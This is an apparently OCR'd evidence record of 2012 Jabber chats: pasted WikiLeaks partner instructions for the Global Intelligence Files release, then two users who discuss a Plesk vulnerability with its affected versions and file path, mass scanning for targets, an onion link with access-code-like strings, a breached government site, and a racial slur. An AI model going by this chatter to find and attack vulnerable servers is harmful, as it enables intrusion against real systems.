may be informed.

Y ou should create arelease per story you are writing and enter the email 1.D.s of all
the emailsthat are referred to in that story.

The release manager must be treated in a gentlemanly manner: thereisto be no
playing of the system to schedule large quantities of datain advance to reserve them,
or using robots on the system. Scheduling must reflect true intentions to publish and
the date and time listed.

WikiLeaks will be monitoring this system to ensure email 1.D.s are entered, the
release manager istreated correctly and al embargos are adhered to.

1) Go to the tab 'new release

2) In the box 'Story Name' enter the title of your story eg 'Assange Extradition’
We need adistinct title (and URL below) to drive traffic to your site through our
millions of Twitter and Facebook followers and through links on our main site.

3) Inthe box 'Date and Time of the release’ enter the exact time the emails should be
published to coincide with the publication of your story. The format for thisis
YYYY-MM-DD HH, eg 2012-02-27 01. Thetime is entered asthetime it will bein
London when your story goes live. Y ou can only schedule stories for one week in
advance. Double-check this carefully or you may accidentally break the embargo. For
stories you wish to put out the moment an embargo ends at 00:01 put the time as 00,
and on embargo end dates we will put them live one minute | ater.

4) In the box 'Story URLS please list each URL from your site that is part of this
story. Normaly thiswill just be one URL, but in some occasions your story maybe
one of a series, so there will be afew URLS, list these one per line. We will link to
these URL s from the email on our site — so make sure they are correct.
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5) In the box 'Documentsto include in thisrelease’ enter the email 1D of al the emails
that you refer to in your story. The email 1D isthe number on the left in our site when
you have done a search. After putting in each email ID press'Add thisdoc i-d' to
include that email in the release — double-check this or you may accidentally break the
embargo.

You can aso add an email to arelease from the search resultslist — on the far | ft
hand side of the search results you will see the word ‘add' press this and you will add
that email to the last release you were editing (you can confirm which one thisis asit
will be shown as atab at the top saying "editing release #123" for example).

6) After entering al these details for arelease you can save the release in one of two
ways. @) so that you can still edit the release, or b) so that it is confirmed and locked
for publishing on time.

A) To saveitto edit it later:
Press the button 'CREATE thisrelease. To then edit it you go to the 'my releases' tab
and select the release from the list and edit it.

B) To savethereease so that it islocked and confirmed to be published (you will not
be able to make changesto it):

Tick the box 'Ready? and then press the 'save' button. Once you have done this you
can no longer change it, so double check the release before you do this.

If you are certain your release is OK then tick the 'ready’ box and 'save’. If you may
change the release then don't tick this box. Prior to publication you must go through
and confirm your releases by ticking the 'ready’ box and saving it, so that they are
published at the right time.

Once you have made arelease 'ready' and saved it you will be told what the URL will
be on our site of each of the emails you selected, so that you can link to them. Y ou
will dso betold which of the emails has already been confirmed in arelease by
someone else and if it will go out before your scheduled time or not.

(7:04:01 PM) ar deditor @jabber.ccc.de: 3. Instructions for Publication Date
Aswe are fast approaching our embargo date, when many media organisations from

around the world will simultaneously publish stories on this materia there are some
basic instructions everyone should follow to ensure this goes as smoothly as possible.
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1. Please stay online on jabber as much as possible for last minute
changes/instructions etc.

2. The name that we are referring to thisrelease asis. The Globd Intelligence Files
(The Gl Filesfor short). For clarity please refer to this release as The Global
Intelligence Files, or The Gl Filesin your publication. The Twitter hash tag will be
#Gifiles. The site to link to on WikiLeaks will be wikileaks.org/gifiles

3. Asper your WikiL eaks Memorandum of Understanding (MOU) please remember
in al your stories and at each moment you are discussing/writing about this release
you should credit WikiL eaks in the following manner: “investigative partnership
organised by WikiLeaks’ and refer to the data as having been “ obtained by
WikiLeaks’. You can state that you were “given access to a sophisticated search
database developed by WikiLeaks’. Do not use any other terms. Do not use any other
terms, but credit WikiLeaksin each of your storiesin this way.

4. Asusua we will belisting al the partnersfor thisrelease on our site. We will be
linking to your website from this|list. If you have a specific page of your site, other
than your home page, that you would like us to link to then please et us know as soon
as possible to ensure thisis the link we use. We will push thisinformation to millions
of people — so please make sure it is accurate.

5. We will be holding a press conference regarding this release on 27th February in
London. If you areinterested in attending thisto explain to other journalists what you
found of importance in the data please let us know as soon as possible.

(7:04:55 PM) ar deditor @jabber.ccc.de: 4. Plan B and C

Aswas explained to you right at the beginning another organisation has claimed to
have ssimilar information to this. We do not know that it is the same information,
however, just in case we are providing you with contingency plansin case this
information begins to come out elsewhere.

YOU MAY NOT implement either of these plans unless instructed to do so by
WikiLeaks. If either plan isto be implemented the message will be given over jabber
by your WikiL eaks contact and put on the rel ease/search site and the following
message will be sent from the WikiL eaks Twitter account: 'Rock Guitar: Activate
Plan (B or C).

Plan B
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Thisisfor if the data comes out in alarge unsearchabl e database that the public
cannot understand. Because of the complexity and expense in creating a searchable
database for information of thistype and size we do not see this possibility as athreat
to the embargo schedule.

In this case we will continue to publish emailsin away easily seen by the public one
by one, as you enter them into our system.

In this case the embargo timetable may be sped up after consultation with partners
(the new timetable will be put on the release/search site). If you have aready clicked
'ready’ on ardease so it islocked and confirmed WikiLeaks will change the date and
time (in consultation with you) so it fallsinto the new embargo timetable.

Y ou must still enter your email Idsto our system and publish according to the
(shorter) embargo timetable.

Plan C

In the event that the data comes out in with a search database that is easily searched
by competing media organisations, or arival media organisation starts a substantial
publishing effort based on the same data.

Y ou no longer have to follow the embargo schedule. Y ou must still put the email Ids
and your URLs into our sSite, but you can set the times for these to be released, and
publish your stories, as you are ready.

(7:05:31 PM) ar deditor @jabber.ccc.de: 7. Guide for Searching the Data of Project
Rock Guitar

Last update: February 20, 2012

While the search function is designed to be ssmple and straightforward, seeking
specific information and following specific threads requires the ability to narrow
down on useful information and to exclude unneeded e-mails, otherwise wastes time
going through unnecessary emails.

1. EXCLUDE IN SEARCHES

- The "exclude" function is very important: the most common usage would beto
exclude al "[OS]" (open-source) items that represent a sizeable portion of the
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collection and rarely involve any useful commentary.
2. SUBJECT CLASSIFICATIONS

- The company has maintained a policy of classifying e-mailsin avisible manner in
the subject box. The most common e-mail headers are: "OS', "Anaysis', "insight”,
"report”, "discussion”, and "question”. Most are self-explanatory and are useful for
narrowing down searches (use the "include" search function).

- However, other subject codes are more limited in use, but still significant, for
instance "Alpha, in e-mails from post-2005, is marked on e-mails relating to the
company’ s sources and informants abroad, and are the business of the operations
department, as opposed research.

3. SEARCHING INDIVIDUALS

- In many cases, interesting information will be obtained by following specific
individuals and tracing their communications, use names and e-mail addresses, but
without copying the full address, the search function does not recognize the @
symbol.

- Post-2006 informants and sources are referred to through codes rather than names,
"ME213" for example.

- Keep in mind that the company adopted different policies at different times, prior to
an internal reorganization in mid-2005, the sources were identified by name and their
e-mail communications were part of the general database. So searches from that
period could yield specific information (key individual: Robert "bob" Rushing, who
was head of specia operations until 06/2005), while in the past few years, secrecy
became more enforced, and new a new protocol for dealing with sources was
established.

4. SEARCHING STORIES

- As one reference point, you can organize your searches around major events and/or
controversial stories that were covered by media since mid 2004 (that's how far back
the emails go). Examplesinclude "Al-Yamamah" or "lraq Security".

- But surely, it could be more interesting to search for things that were * not* covered
by media, but that would require searching alarge number of keywords (spanning
companies, events, geo-political regions, etc.) and following the threads.

105233


SCo
Sticky Note
None set by SCo

SCo
Sticky Note
MigrationNone set by SCo

SCo
Sticky Note
Unmarked set by SCo


(7:08:23 PM) leondavidson@jabber .or g/jabber.org: tell meif yu get al that

(7:15:27 PM) yohoho@j abber .ccc.de: | did get all that and just read it

(7:15:33 PM) yohoho@j abber .ccc.de: Lookslikeit islegit

(7:15:37 PM) leondavidson@jabber .or g/jabber.org: indeed

(7:15:48 PM) yohoho@j abber .ccc.de: And since Feb 27 isonly like six days away

(7:15:50 PM) yohoho@j abber .ccc.de: not too bad to wait it out

(7:15:53 PM) leondavidson@jabber .or g/jabber.org: yup

(7:16:16 PM) leondavidson@j abber .or g/jabber.or g: he's intimidated by you for whatever reason
hence why he's talking to me instead

(7:16:17 PM) leondavidson@j abber .or g/jabber.org: which isfunny

(7:16:24 PM) leondavidson@j abber .or g/jabber.or g: because | think I'm more of adick than you
are

(7:16:27 PM) yohoho@j abber .ccc.de: yes | was wondering what the fuck was up

(7:16:45 PM) yohoho@j abber .ccc.de: because | pretty much demanded he give me info about
what they are doin

(7:16:58 PM) yohoho@j abber .ccc.de: there's absolutely no reason why we havent been included
on all this shit since the start

(7:17:17 PM) yohoho@j abber .ccc.de: so even if they do follow through, i'm hesitant tow ork with
them again

(7:17:35 PM) leondavidson@jabber .or g/jabber.or g: they simply dont trust us

(7:17:42 PM) leondavidson@jabber .or g/jabber.or g: because they dont trust our opsec/security
(7:19:04 PM) yohoho@j abber .ccc.de: whatever, | have made it clear | was willing to jump
through whatever hoops, and respect whatever params

(7:19:11 PM) yohoho@j abber .ccc.de: I'm pretty pissed

(7:19:32 PM) leondavidson@jabber .or g/jabber.or g: they're gay

(7:19:38 PM) leondavidson@jabber .or g/jabber.org: lets see how this goes

(7:20:01 PM) leondavidson@jabber .or g/jabber.or g: its pretty fucking sad that the most legit
organization we have sucks fucking balls

(7:21:13 PM) leondavidson@j abber .or g/jabber.or g: feels like alosing battle sometimes
(7:21:48 PM) leondavidson@j abber .or g/jabber.org: inred life - I've been stressed. depressed.
sick as amother fucker. last week | slept 20 hours aday. | literally slept over and over. 1'd wake
up. say hi to you. and go back to sleep

(7:22:04 PM) yohoho@j abber .ccc.de: well if you're sick you're sick

(7:22:16 PM) yohoho@j abber .ccc.de: aso

(7:22:19 PM) yohoho@j abber .ccc.de: plesk is notifying clients

(7:22:20 PM) yohoho@j abber .ccc.de: bout vulns

(7:22:24 PM) leondavidson@j abber .or g/jabber.org: no way

(7:22:25 PM) yohoho@j abber .ccc.de: cat's out the bag

(7:22:28 PM) yohoho@j abber .ccc.de: well

(7:22:33 PM) leondavidson@j abber .or g/jabber.or g: when did that start?

(7:22:33 PM) yohoho@j abber .ccc.de: apparently they knew about the vuln months ago

(7:22:42 PM) yohoho@j abber .ccc.de: aday or two before the last FTC hack

(7:22:51 PM) yohoho@j abber .ccc.de: http://kb.parallels.com/en/112303
http://kb.parallels.com/en/113313

http://kb.parallels.com/en/113321

(7:23:06 PM) yohoho@j abber .ccc.de: there's no widespread conversation about it or it's

105234


SCo
Sticky Note
None set by SCo

SCo
Sticky Note
MigrationNone set by SCo

SCo
Sticky Note
Unmarked set by SCo


implications yet

(7:23:12 PM) leondavidson@j abber .or g/jabber.org: ok

(7:23:18 PM) leondavidson@jabber .or g/jabber.org: let it stay quiet for the most part

(7:23:23 PM) yohoho@j abber .ccc.de: yes

(7:23:29 PM) yohoho@j abber .ccc.de: meanwhile scanning the fuck out of big ranges

(7:24:05 PM) leondavidson@jabber .or g/jabber.or g: pretty funny tho. they give you more targets
(7:24:29 PM) leondavidson@jabber .or g/jabber.org: plesk 9.5.1 to 9.5.5 have same vuln in
admin/htdocs/hel p.php etc

(7:31:07 PM) leondavidson@jabber .or g/jabber.or g: http://7f4lihm464gdcwfc.onion/

WL1
0ijWEIFM Q21qdg2s9j

WL2

Ouup89PQB8RHWEdSf34

(7:31:13 PM) leondavidson@jabber .or g/jabber.or g: this entire shit is called operation rock
guitar

(7:35:20 PM) leondavidson@j abber .or g/jabber.or g: hahathese niggasis funny

(7:35:58 PM) yohoho@j abber .ccc.de: ok also

(7:36:03 PM) yohoho@j abber .ccc.de: ask him whether any information was redacted
(7:36:09 PM) yohoho@j abber .ccc.de: if they are removing agent names addresses etc
(7:36:12 PM) yohoho@j abber .ccc.de: we will have to do our own thing anyway

(7:44:31 PM) leondavidson@j abber .or g/jabber.org: (7:43:11 PM)

ardeditor @] abber.ccc.de: JA may be in prison about then

(7:43:35 PM) ar deditor @jabber.ccc.de: JUST between you and me

(7:44:08 PM) ar deditor @jabber.ccc.de: we have discovered, in the data, that there
exists a sea ed espionage indictment from the US grand Jury against JA
(7:44:16 PM) leondavidson@j abber .or g/jabber .or g: no fucking way

(7:45:15 PM) yohoho@j abber .ccc.de: that is crazy shit

(7:45:20 PM) yohoho@j abber .ccc.de: if true

(7:45:22 PM) yohoho@j abber .ccc.de: so wait

(7:45:25 PM) yohoho@j abber .ccc.de: that is not JA?

(7:45:28 PM) yohoho@j abber .ccc.de: because if so some shit is afoot

(7:45:44 PM) leondavidson@jabber .or g/jabber.or g: thisis an assistant or something
(7:45:49 PM) leondavidson@jabber .or g/jabber.org: or its JA talking in 3rd person
(7:45:55 PM) leondavidson@j abber .or g/jabber.or g: because he can't be talkign to us technically
(7:46:00 PM) yohoho@j abber .ccc.de: probably third person

(7:46:05 PM) yohoho@j abber .ccc.de: because he doesn't want shit to end up in logs
(7:46:09 PM) yohoho@j abber .ccc.de: aiding and abeting or whatever

(7:46:28 PM) leondavidson@j abber .or g/jabber .org: yup

(7:46:33 PM) yohoho@j abber .ccc.de: it'sin here

(7:46:34 PM) leondavidson@j abber .or g/jabber.org: | think its him

(7:46:34 PM) yohoho@j abber .ccc.de: Not for Pub --

We have a sealed indictment on Assange.

Pls protect

(8:06:39 PM) leondavidson@j abber .or g/jabber.org: 17:01 <DecryptedMatrix> shir.gov
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breached. a gift fromi2p land
17:01 <DecryptedMatrix> http://tracker2.postman.i2p/index.php?view=TorrentDetail & id=15956
17:01 <DecryptedMatrix> all kinds of dirt in there apparently

(8:07:25 PM) yohoho@j abber .ccc.de: it's public now ?
(8:08:15 PM) leondavidson@j abber .or g/jabber.org: nein
(8:08:33 PM) leondavidson@jabber .or g/jabber.or g: its apparently kept within their little group
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